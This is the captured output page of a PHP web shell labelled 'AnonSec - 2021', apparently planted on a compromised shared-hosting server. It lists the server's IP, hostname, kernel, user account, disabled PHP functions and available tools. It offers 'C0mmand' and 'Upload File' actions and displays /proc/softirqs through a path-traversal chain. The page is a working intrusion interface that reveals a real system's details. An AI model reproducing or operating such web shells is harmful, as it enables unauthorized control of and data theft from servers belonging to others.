Gotcha!
Server IP : 162.241.5.139  /  Your IP : 216.73.216.50
Web Server : Apache
System : Linux server.vda.uxz.mybluehostin.me 5.14.0-687.59.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Oct 21 06:02:14 EDT 2026 x86_64
User : dataincite ( 1006)
PHP Version : 8.2.35
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0555) :  /../etc/pki/java/../java/../java/../java/../java/../../../../../../sbin/../../../../proc/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //../etc/pki/java/../java/../java/../java/../java/../../../../../../sbin/../../../../proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      CPU12      CPU13      CPU14      CPU15      
          HI:          0          0          0          0          0          0          1          0          0          0          0          0          1          0          0          0
       TIMER:   17167462   46703069   27353391   38286519   25854102   39367363   31314426   20248487   26851717   23269916   25363821   24885607  109676254   15297346   34966043   25105090
      NET_TX:          5          7          5         10          2          7          2         11          7          6          5         17          2          0          5          1
      NET_RX:   27628578   70667448   40552746   98794347   36314293  124554182   34820162   33403413   52614450   58783757   50676336   37105082   53436343   26797916  106172809  114414506
       BLOCK:    1274424    2159280    1972060    1574805    1311240    1337053    1340094    1262385    1419371    1197499    1068463    1281210    1240084    1271179    1420280    1550375
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:    5488234   13649840    4084477   25011378    7965554   31536057    8312817    6802667   11757456    7804310   15992976    9393182   15256180    4429530   24592259    4295615
       SCHED:   43477424   21113298   13908582   17653760   11543837   19878512   11885712   10142078   12904266   13341938   10828783   13520394   23171080    9137536   17357487   22606378
     HRTIMER:       2058       5321       3641       9169       2230      15087       1655       2579       4921       2690       5652       4240       7073       1398       9213       1367
         RCU:   42670483   77705800   54799654   90152953   52282667  108772619   53240451   46002624   60468889   73738387   47171575   48571984   98911689   41451309   97974277  147937822

AnonSec - 2021